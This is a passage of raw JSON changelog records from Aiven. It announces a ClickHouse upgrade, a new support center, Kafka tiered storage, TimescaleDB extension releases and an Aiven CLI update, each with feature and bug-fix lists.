ClickHouse®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"39ee96fba48a","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/reference/supported-table-functions"},{"_key":"74cae254cc9e","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/reference/supported-table-engines"}],"style":"normal"},{"_key":"83bbf8b3cdda","_type":"block","children":[{"_key":"aaf087e8ddc30","_type":"span","marks":[],"text":"New capabilities for data ingestion, such as "},{"_key":"1fcbf75dd00a","_type":"span","marks":["code"],"text":"input_format_csv_allow_variable_number_of_columns"},{"_key":"b1c993826f13","_type":"span","marks":[],"text":" or "},{"_key":"e7c9cd4adf6d","_type":"span","marks":["code"],"text":"s3_skip_empty_files"},{"_key":"4dda77b79577","_type":"span","marks":[],"text":" and "},{"_key":"67769e70df5f","_type":"span","marks":["code"],"text":"engine_url_skip_empty_files"},{"_key":"00976b39487a","_type":"span","marks":[],"text":" for skipping empty files in "},{"_key":"40d1813a825a","_type":"span","marks":["code"],"text":"s3"},{"_key":"54f5ff36e913","_type":"span","marks":[],"text":" and "},{"_key":"72ff39426d6b","_type":"span","marks":["code"],"text":"url"},{"_key":"b24426ee20f2","_type":"span","marks":[],"text":" table functions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b128ad8f060c","_type":"block","children":[{"_key":"6c8155bc0d8d0","_type":"span","marks":[],"text":"Improvements for working with metadata and "},{"_key":"1dc4ef476052","_type":"span","marks":["code"],"text":".parquet"},{"_key":"c0840de8523a","_type":"span","marks":[],"text":" files in particular, such as faster reads and count operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5dddb5ce9890","_type":"block","children":[{"_key":"617b55fee9ec0","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"d539c94985b5","_type":"block","children":[{"_key":"d29f2aab67340","_type":"span","marks":[],"text":"Fixes improving security"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"268383df27db","_type":"block","children":[{"_key":"9ac85929739e0","_type":"span","marks":[],"text":"Fixes improving performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2023-12-13T10:25:00.000Z","tags":[{"_key":"4bbeb5b1fcbd","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Aiven for ClickHouse® upgraded to 23.8"} {"__i18n_lang":"en","_createdAt":"2023-12-13T11:36:18Z","_id":"dc7e8e06-1030-4c27-abb2-65671d48dc6a","_rev":"E2pxmdy757ydOazCR5kArc","_type":"changelog","_updatedAt":"2024-01-03T11:20:57Z","changeType":"new","description":[{"_key":"7df05dad462d","_type":"block","children":[{"_key":"46125a88e3360","_type":"span","marks":[],"text":"We’ve launched the Aiven Support Center to make to improve the support experience and provide better visibility of your support tickets. Now you can view the full history of your tickets and track their status right in the support center. You can also add participants to tickets to ensure the right people get updates and can add comments."}],"markDefs":[],"style":"normal"},{"_key":"54ccf5c7e5be","_type":"block","children":[{"_key":"bf89ba35f7bd0","_type":"span","marks":[],"text":"Other enhancements include:"}],"markDefs":[],"style":"normal"},{"_key":"8db5b65ebef9","_type":"block","children":[{"_key":"ae4aa25c6fb60","_type":"span","marks":[],"text":"Create general tickets that aren’t linked to a specific project or service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c48e2c024efc","_type":"block","children":[{"_key":"134871bee922","_type":"span","marks":[],"text":"Add files like screenshots and logs directly to the tickets"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f6a1d62ccdf4","_type":"block","children":[{"_key":"84149c22d255","_type":"span","marks":[],"text":"View and follow all tickets in your organization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"317fa4852470","_type":"block","children":[{"_key":"e2889c8ef036","_type":"span","marks":[],"text":"Escalate issues to your account team"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"76816d72e186","_type":"block","children":[{"_key":"0c3424bd9c760","_type":"span","marks":[],"text":"Check out the "},{"_key":"0c3424bd9c761","_type":"span","marks":["40fdac8b5a7b"],"text":"documentation"},{"_key":"0c3424bd9c762","_type":"span","marks":[],"text":" for details on how to use these and other support features."}],"markDefs":[{"_key":"40fdac8b5a7b","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/project-support-center"}],"style":"normal"}],"publishedAt":"2024-01-03T11:20:00.000Z","tags":[{"_key":"353180a61dd7","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Introducing the new Aiven Support Center"} {"__i18n_lang":"en","_createdAt":"2024-07-02T11:46:42Z","_id":"ba507ca8-3da0-4a80-a44b-d6c048d99903","_rev":"BVM0UzymoPXcfHGeYkoJMj","_type":"changelog","_updatedAt":"2024-08-09T08:45:10Z","changeType":"new","description":[{"_key":"586032b2aaca","_type":"block","children":[{"_key":"09dd922aeda2","_type":"span","marks":[],"text":"Tiered storage is now production-ready to enhance your data management capabilities in Aiven for Apache Kafka®. This powerful feature improves storage efficiency by reducing local disk usage for recent data and expanding retention capabilities by storing data in a remote tier. The supported cloud providers for this feature are AWS, Microsoft Azure, and Google Cloud. Tiered storage must be activated at the project level by contacting Aiven support, as you cannot enable it directly.\n\n"},{"_key":"6b274964278c","_type":"span","marks":["strong"],"text":"Key benefits include:"}],"markDefs":[],"style":"normal"},{"_key":"e5a170316311","_type":"block","children":[{"_key":"37a85bcf7ef10","_type":"span","marks":["strong"],"text":"Scalability"},{"_key":"37a85bcf7ef11","_type":"span","marks":[],"text":": Independently scale storage and compute resources."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"489ecec9d1cd","_type":"block","children":[{"_key":"f7525c79181d0","_type":"span","marks":["strong"],"text":"Cost efficiency"},{"_key":"f7525c79181d1","_type":"span","marks":[],"text":": Offload less critical data to more cost-effective remote storage."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"34ca6e1e6392","_type":"block","children":[{"_key":"d0f0e7d7cbdd0","_type":"span","marks":["strong"],"text":"Operational speed"},{"_key":"d0f0e7d7cbdd1","_type":"span","marks":[],"text":": Boost performance and enable faster transitions between cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1459f02cd94a","_type":"block","children":[{"_key":"ad21d9bb86600","_type":"span","marks":["strong"],"text":"Granular control"},{"_key":"ad21d9bb86601","_type":"span","marks":[],"text":": Customize data management with per-topic storage settings."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8096638d078c","_type":"block","children":[{"_key":"2c799705c5720","_type":"span","marks":["strong"],"text":"Infinite retention"},{"_key":"2c799705c5721","_type":"span","marks":[],"text":": Store data indefinitely without space constraints."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cd38a92b0ffc","_type":"block","children":[{"_key":"4638aee0916f0","_type":"span","marks":[],"text":"Learn more in our documentation on "},{"_key":"4638aee0916f1","_type":"span","marks":["7fda4eb16c2b"],"text":"Tiered Storage in Aiven for Apache Kafka"},{"_key":"4638aee0916f2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7fda4eb16c2b","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/kafka-tiered-storage"}],"style":"normal"}],"publishedAt":"2024-08-09T08:39:32.292Z","tags":[{"_key":"bf53c753b13c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Tiered storage in Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2024-01-19T08:10:44Z","_id":"9ce2e5d8-3ef5-4d55-b317-d37f09d917b2","_rev":"VeNKqGNmt13PzvGhqlH4U4","_type":"changelog","_updatedAt":"2024-01-24T09:43:23Z","changeType":"improved","description":[{"_key":"428595332724","_type":"block","children":[{"_key":"8f06bdfcb4390","_type":"span","marks":[],"text":"TimescaleDB extension version 2.13.1 is now available for Aiven for PostgreSQL®. It introduces bug fixes on top of release 2.13.0."}],"markDefs":[],"style":"normal"},{"_key":"19fbdf48ca2d","_type":"block","children":[{"_key":"17a8ede37aa00","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"91e09be58112","_type":"block","children":[{"_key":"1063687cc3c40","_type":"span","marks":["6eae7e8f691a"],"text":"Use numrows_pre_compression in approximate row count"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6eae7e8f691a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6365"}],"style":"normal"},{"_key":"820443251f5e","_type":"block","children":[{"_key":"1f780a6084b60","_type":"span","marks":["68d2a9462c86"],"text":"Use processed group clauses in PG16"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"68d2a9462c86","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6377"}],"style":"normal"},{"_key":"ae43910dcb6f","_type":"block","children":[{"_key":"b85b095664890","_type":"span","marks":["2d8ad8ca5910"],"text":"Change bgw_log_level to use PGC_SUSET"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2d8ad8ca5910","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6384"}],"style":"normal"},{"_key":"3a675f7a6df9","_type":"block","children":[{"_key":"57abfb60498e0","_type":"span","marks":["d9f1664cf1cd"],"text":"Disable vectorized sum for expressions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9f1664cf1cd","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6393"}],"style":"normal"},{"_key":"61dcf90dd023","_type":"block","children":[{"_key":"e513bed3220f0","_type":"span","marks":["22875612ce18"],"text":"Read CAgg watermark from materialized data"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"22875612ce18","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6405"}],"style":"normal"},{"_key":"37ea15e57585","_type":"block","children":[{"_key":"cc52579cc7010","_type":"span","marks":["88a057f114df"],"text":"Fix groupby pathkeys for gapfill in PG16"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"88a057f114df","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6408"}],"style":"normal"},{"_key":"b68fe5734ded","_type":"block","children":[{"_key":"052868211f440","_type":"span","marks":["c271b39a5afa"],"text":"Fix index matching during DML decompression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c271b39a5afa","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6428"}],"style":"normal"},{"_key":"e95e511362cc","_type":"block","children":[{"_key":"cc6465f209720","_type":"span","marks":["3e4ee22043e5"],"text":"Fix compressed chunk permission handling on PG16"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3e4ee22043e5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6439"}],"style":"normal"},{"_key":"437b553ec19f","_type":"block","children":[{"_key":"6ba2eb17591b0","_type":"span","marks":["ad77d94a9fe8"],"text":"Fix lost concurrent CAgg updates"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad77d94a9fe8","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6443"}],"style":"normal"},{"_key":"340d2c0aeb62","_type":"block","children":[{"_key":"e56aefca8bbb0","_type":"span","marks":["f585ec4bd37b"],"text":"Fix unique expression indexes on compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f585ec4bd37b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6454"}],"style":"normal"},{"_key":"f0bfafbe19b8","_type":"block","children":[{"_key":"686b243dbd0f0","_type":"span","marks":["9224b4b65d26"],"text":"Fix use of freed path in decompression sort logic"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9224b4b65d26","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6465"}],"style":"normal"}],"publishedAt":"2024-01-22T09:42:00.000Z","tags":[{"_key":"a148edcc74b0","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.13.1 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2024-12-06T10:20:04Z","_id":"f0a0f4d9-3369-4256-95ea-2dbd2ad2a9e4","_rev":"CsJhS699U5wscrFy7UCHCI","_type":"changelog","_updatedAt":"2024-12-10T10:04:10Z","changeType":"improved","description":[{"_key":"cd7af36a0ee1","_type":"block","children":[{"_key":"5ca5269d7cf80","_type":"span","marks":[],"text":"A new version of the Aiven CLI has been released with the following updates:"}],"markDefs":[],"style":"normal"},{"_key":"9bbaa6c1c933","_type":"block","children":[{"_key":"52119aa831260","_type":"span","marks":[],"text":"Added support for Kafka-native ACL commands in Aiven for Apache Kafka."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"48ac3e24b23f","_type":"block","children":[{"_key":"dce475779b430","_type":"span","marks":[],"text":"Updated Aiven for Apache Flink commands to ignore the current project."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b63df1737399","_type":"block","children":[{"_key":"6ad13a1ec0fc0","_type":"span","marks":[],"text":"For more details, see the "},{"_key":"6ad13a1ec0fc1","_type":"span","marks":["96908e4d4b7a"],"text":"Aiven CLI release notes"},{"_key":"6ad13a1ec0fc2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"96908e4d4b7a","_type":"link","href":"https://github.com/aiven/aiven-client/releases/tag/4.5.0"}],"style":"normal"}],"publishedAt":"2024-12-06T10:03:00.000Z","tags":[{"_key":"698b440d63cf","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Aiven CLI version 4.5.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-08-01T13:32:32Z","_id":"c415806d-1a37-4592-a488-bdda7c2f9f6b","_rev":"uoxN7hjTZfWhT8KF3KERIU","_type":"changelog","_updatedAt":"2024-09-03T09:08:00Z","changeType":"improved","description":[{"_key":"14f838b67720","_type":"block","children":[{"_key":"25196c8eda720","_type":"span","marks":[],"text":"TimescaleDB extension version 2.16.1 is now available for Aiven for PostgreSQL®. It introduces new features, performance improvements, and bug fixes on top of release 2.15.3. Upgrade to 2.16.1 at your earliest convenience to make sure you use the most robust and secure version available."}],"markDefs":[],"style":"normal"},{"_key":"92ed773be6a2","_type":"block","children":[{"_key":"54bfa50a04670","_type":"span","marks":[],"text":"Refer to "},{"_key":"54bfa50a04671","_type":"span","marks":["96afb88e08b8"],"text":"TimescaleDB release notes for 2.16.0"},{"_key":"54bfa50a04672","_type":"span","marks":[],"text":" and "},{"_key":"725f1071b07c","_type":"span","marks":["ce8b3fa6fbda"],"text":"TimescaleDB release notes for 2.16.1"},{"_key":"9b45c131b397","_type":"span","marks":[],"text":" for all the changes introduced in these release."}],"markDefs":[{"_key":"ce8b3fa6fbda","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.16.1"},{"_key":"96afb88e08b8","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.16.0"}],"style":"normal"},{"_key":"dbf043f11d04","_type":"block","children":[{"_key":"ce29b3b1d7b60","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[],"style":"normal"},{"_key":"5c4ab3251caf","_type":"block","children":[{"_key":"bae8cb344cf90","_type":"span","marks":["strong"],"text":"Performance-focused optimizations for data manipulation operations (DML) over compressed chunks"},{"_key":"b3231f5f2453","_type":"span","marks":[],"text":": Improved UPSERT performance by more than 100x in some cases and more than 1000x in some update/delete scenarios."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0bbf0b7a3482","_type":"block","children":[{"_key":"64cd2c94d6540","_type":"span","marks":["strong"],"text":"Ability to define chunk skipping indexes on non-partitioning columns of compressed hypertables"},{"_key":"76495ddd8f22","_type":"span","marks":[],"text":": Extended chunk exclusion to use those skipping (sparse) indexes when queries filter on the relevant columns and prune chunks that don't include any relevant data for calculating the query response."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56053bdff900","_type":"block","children":[{"_key":"6451427d823f0","_type":"span","marks":["strong"],"text":"For use cases that require foreign keys defined"},{"_key":"6451427d823f1","_type":"span","marks":[],"text":":"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1b0a147bb69e","_type":"block","children":[{"_key":"4d364c8e89000","_type":"span","marks":[],"text":"Ability to add foreign keys from regular tables towards hypertables"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"163deaef7a91","_type":"block","children":[{"_key":"f270318499ba0","_type":"span","marks":[],"text":"Removed some locks in the reverse direction that blocked access to referenced tables while compression was running."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b8e2e5d39f5c","_type":"block","children":[{"_key":"07e7a500129e0","_type":"span","marks":["strong"],"text":"Extended Continuous Aggregates to support more types of analytical queries"},{"_key":"07e7a500129e1","_type":"span","marks":[],"text":":"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5f1a2c1e1556","_type":"block","children":[{"_key":"f694eefd64090","_type":"span","marks":[],"text":"More types of JOINs supported"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"eeefab16b9ab","_type":"block","children":[{"_key":"088fb905b3540","_type":"span","marks":[],"text":"Additional equality operators on JOIN clauses supported"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c4de6656ee88","_type":"block","children":[{"_key":"342fd0b629810","_type":"span","marks":[],"text":"JOINs between multiple regular tables supported"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8e35eec67ef2","_type":"block","children":[{"_key":"05576237fa230","_type":"span","marks":["strong"],"text":"More new features"}],"markDefs":[],"style":"normal"},{"_key":"be95d318a864","_type":"block","children":[{"_key":"126515f27c090","_type":"span","marks":["ad607882f1fc"],"text":"#6880"},{"_key":"126515f27c091","_type":"span","marks":[],"text":": Added support for the array operators used for compressed DML batch filtering."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad607882f1fc","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6880"}],"style":"normal"},{"_key":"f3959285b294","_type":"block","children":[{"_key":"a13027dd484e0","_type":"span","marks":["d67b620df7d9"],"text":"#6895"},{"_key":"a13027dd484e1","_type":"span","marks":[],"text":": Improved the compressed DML expression pushdown."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d67b620df7d9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6895"}],"style":"normal"},{"_key":"8935fe6f81ce","_type":"block","children":[{"_key":"96f4defc0a480","_type":"span","marks":["39da6142dcbf"],"text":"#6897"},{"_key":"96f4defc0a481","_type":"span","marks":[],"text":": Added support for replica identity on compressed hypertables."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"39da6142dcbf","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6897"}],"style":"normal"},{"_key":"d498eb480874","_type":"block","children":[{"_key":"d8a8e23141160","_type":"span","marks":["a25fad49a8c6"],"text":"#6918"},{"_key":"d8a8e23141161","_type":"span","marks":[],"text":": Removed support for PG13."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a25fad49a8c6","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6918"}],"style":"normal"},{"_key":"1227bcd549f6","_type":"block","children":[{"_key":"2940e5efe4690","_type":"span","marks":["969244a0a0c5"],"text":"#6920"},{"_key":"2940e5efe4691","_type":"span","marks":[],"text":": Reworked compression activity WAL markers."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"969244a0a0c5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6920"}],"style":"normal"},{"_key":"c79dda687c0d","_type":"block","children":[{"_key":"4a51ecd652e20","_type":"span","marks":["83bf807dc26c"],"text":"#6989"},{"_key":"4a51ecd652e21","_type":"span","marks":[],"text":": Added support for foreign keys when converting plain tables to hypertables."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"83bf807dc26c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6989"}],"style":"normal"},{"_key":"499fa8b1efac","_type":"block","children":[{"_key":"cf87cbf9380b0","_type":"span","marks":["1b94a3283b1f"],"text":"#7020"},{"_key":"cf87cbf9380b1","_type":"span","marks":[],"text":": Added support for the chunk column statistics tracking."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1b94a3283b1f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7020"}],"style":"normal"},{"_key":"17d4a5b026a3","_type":"block","children":[{"_key":"b16f4f6ed1210","_type":"span","marks":["a6c1f85495f5"],"text":"#7048"},{"_key":"b16f4f6ed1211","_type":"span","marks":[],"text":": Added an index scan for INSERT DML decompression."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a6c1f85495f5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7048"}],"style":"normal"},{"_key":"95a95ff81503","_type":"block","children":[{"_key":"ca8488d16d950","_type":"span","marks":["657074064470"],"text":"#7075"},{"_key":"ca8488d16d951","_type":"span","marks":[],"text":": Reduced decompression on the compressed INSERT."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"657074064470","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7075"}],"style":"normal"},{"_key":"df8e9a9b44bd","_type":"block","children":[{"_key":"68343b8373040","_type":"span","marks":["405025bd6e4a"],"text":"#7101"},{"_key":"68343b8373041","_type":"span","marks":[],"text":": Reduced decompressions for the compressed UPDATE/DELETE."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"405025bd6e4a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7101"}],"style":"normal"},{"_key":"af97f414e96d","_type":"block","children":[{"_key":"1473de98454e0","_type":"span","marks":["587e35496551"],"text":"#7108"},{"_key":"1473de98454e1","_type":"span","marks":[],"text":" Reduced decompressions for INSERTs with UNIQUE constraints."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"587e35496551","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7108"}],"style":"normal"},{"_key":"0d8f86788576","_type":"block","children":[{"_key":"fd769ff423d00","_type":"span","marks":["5ea89c25279d"],"text":"#7116"},{"_key":"fd769ff423d01","_type":"span","marks":[],"text":" Used DELETE instead of TRUNCATE after compression."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5ea89c25279d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7116"}],"style":"normal"},{"_key":"8448c3cb7920","_type":"block","children":[{"_key":"b3f757da9e8e0","_type":"span","marks":["a20303e9d286"],"text":"#7134"},{"_key":"b3f757da9e8e1","_type":"span","marks":[],"text":" Refactored foreign key handling for compressed hypertables."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a20303e9d286","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7134"}],"style":"normal"},{"_key":"bc35fbb5070c","_type":"block","children":[{"_key":"8abc84be800a0","_type":"span","marks":["cbd579621674"],"text":"#7161"},{"_key":"8abc84be800a1","_type":"span","marks":[],"text":" Fixed "},{"_key":"288a4a8f583b","_type":"span","marks":["code"],"text":"mergejoin input data is out of order"},{"_key":"25ca4e4a1b97","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"cbd579621674","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7161"}],"style":"normal"},{"_key":"c53887bb7a33","_type":"block","children":[{"_key":"5cc7329f0e340","_type":"span","marks":["strong"],"text":"Improvements"}],"markDefs":[],"style":"normal"},{"_key":"dceb77147beb","_type":"block","children":[{"_key":"7517fbce0bb30","_type":"span","marks":["strong"],"text":"Improved query performance through chunk exclusion on compressed hypertables"},{"_key":"7517fbce0bb31","_type":"span","marks":[],"text":": You can now define chunk skipping indexes on compressed chunks for any column with one of the following integer data types: smallint, int, bigint, serial, bigserial, date, timestamp, timestamptz. After you call enable_chunk_skipping on a column, TimescaleDB tracks the min and max values for that column. TimescaleDB uses that information to exclude chunks for queries that filter on that column, and would not find any data in those chunks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e6aec6341b2d","_type":"block","children":[{"_key":"03bc299ae30a0","_type":"span","marks":["strong"],"text":"Improved "},{"_key":"03bc299ae30a1","_type":"span","marks":[],"text":"UPSERT"},{"_key":"03bc299ae30a2","_type":"span","marks":["strong"],"text":" performance on compressed hypertables"},{"_key":"03bc299ae30a3","_type":"span","marks":[],"text":": By using index scans to verify constraints during inserts on compressed chunks, TimescaleDB speeds up some ON CONFLICT clauses by more than 100x."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"54a4dd03e9ac","_type":"block","children":[{"_key":"5d2a983208f50","_type":"span","marks":["strong"],"text":"Improved performance of "},{"_key":"5d2a983208f51","_type":"span","marks":[],"text":"UPDATE"},{"_key":"5d2a983208f52","_type":"span","marks":["strong"],"text":"s,"},{"_key":"5d2a983208f53","_type":"span","marks":[],"text":" DELETE"},{"_key":"5d2a983208f54","_type":"span","marks":["strong"],"text":"s, and"},{"_key":"5d2a983208f55","_type":"span","marks":[],"text":" INSERT"},{"_key":"5d2a983208f56","_type":"span","marks":["strong"],"text":"s on compressed hypertables"},{"_key":"5d2a983208f57","_type":"span","marks":[],"text":": By filtering data while accessing the compressed data and before decompressing, TimescaleDB has improved performance for UPDATEs and DELETEs on all types of compressed chunks, as well as INSERTs into compressed chunks with unique constraints. By signaling constraint violations without decompressing or decompressing only when matching records are found in the case of UPDATEs, DELETEs, and UPSERTs, TimescaleDB 2.16.0 speeds up those operations more than 1000x in some UPDATE/DELETE scenarios, and 10x for UPSERTs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5ca2e3813bd7","_type":"block","children":[{"_key":"f6a1a50c284b0","_type":"span","marks":["strong"],"text":"Ability to add foreign keys from regular tables to hypertables with support for all types of cascading options"},{"_key":"f6a1a50c284b1","_type":"span","marks":[],"text":"; useful for hypertables that partition using sequential IDs and need to reference those IDs from other tables."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5193b8fe81bb","_type":"block","children":[{"_key":"e5b7196bf8b50","_type":"span","marks":["strong"],"text":"Lower locking requirements during compression for hypertables with foreign keys"},{"_key":"e5b7196bf8b51","_type":"span","marks":[],"text":": Advanced foreign key handling removes the need for locking referenced tables when new chunks are compressed. DML is no longer blocked on referenced tables while compression runs on a hypertable."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9be906483aaf","_type":"block","children":[{"_key":"f69a82b5ebc90","_type":"span","marks":["strong"],"text":"Improved support for queries on Continuous Aggregates"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"51a1a41f5c87","_type":"block","children":[{"_key":"c1bf0eaa0bdc0","_type":"span","marks":[],"text":"INNER/LEFT and LATERAL JOINs are now supported."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f328358c566f","_type":"block","children":[{"_key":"08b128b162860","_type":"span","marks":[],"text":"Ability to join with multiple regular tables"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1528501ce7f3","_type":"block","children":[{"_key":"96c05f0afdce0","_type":"span","marks":[],"text":"Ability to have more than one equality operator on JOIN clauses"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a6f3b3b69180","_type":"block","children":[{"_key":"c62d84665bc30","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"58ed62e50376","_type":"block","children":[{"_key":"5221f59c8b53","_type":"span","marks":["3abe0270b381"],"text":"#7182"},{"_key":"efea08b6280e","_type":"span","marks":[],"text":" Fixed "},{"_key":"4e4c0a195a2e","_type":"span","marks":["code"],"text":"untier_chunk"},{"_key":"7b5af56ca2db","_type":"span","marks":[],"text":" for hypertables with foreign keys."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3abe0270b381","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7182"}],"style":"normal"},{"_key":"e4957f67dcd5","_type":"block","children":[{"_key":"edafb19159420","_type":"span","marks":["13c040c176ad"],"text":"#6987"},{"_key":"edafb19159421","_type":"span","marks":[],"text":" Fixed "},{"_key":"c40e9d374fb2","_type":"span","marks":["code"],"text":"REASSIGN OWNED"},{"_key":"c3522b9f6785","_type":"span","marks":[],"text":" BY for background jobs."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"13c040c176ad","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6987"}],"style":"normal"},{"_key":"6266500c9045","_type":"block","children":[{"_key":"7daef8490a4c0","_type":"span","marks":["3adc22090eac"],"text":"#7018"},{"_key":"7daef8490a4c1","_type":"span","marks":[],"text":": Fixed "},{"_key":"1508c2d47663","_type":"span","marks":["code"],"text":"search_path"},{"_key":"67862f716214","_type":"span","marks":[],"text":" quoting in the compression defaults function."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3adc22090eac","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7018"}],"style":"normal"},{"_key":"602c37668d2f","_type":"block","children":[{"_key":"ce915d65a8530","_type":"span","marks":["d9a4324aeb79"],"text":"#7046"},{"_key":"ce915d65a8531","_type":"span","marks":[],"text":": Prevented locking for compressed tuples."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9a4324aeb79","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7046"}],"style":"normal"},{"_key":"fa18b565ff8c","_type":"block","children":[{"_key":"440a02594e5b0","_type":"span","marks":["6994910a8041"],"text":"#7055"},{"_key":"440a02594e5b1","_type":"span","marks":[],"text":": Fixed the "},{"_key":"fd4906029a65","_type":"span","marks":["code"],"text":"scankey"},{"_key":"15892184e3e3","_type":"span","marks":[],"text":" for "},{"_key":"375ff6b1ef84","_type":"span","marks":["code"],"text":"segment by"},{"_key":"894a76e52185","_type":"span","marks":[],"text":" columns, where the type 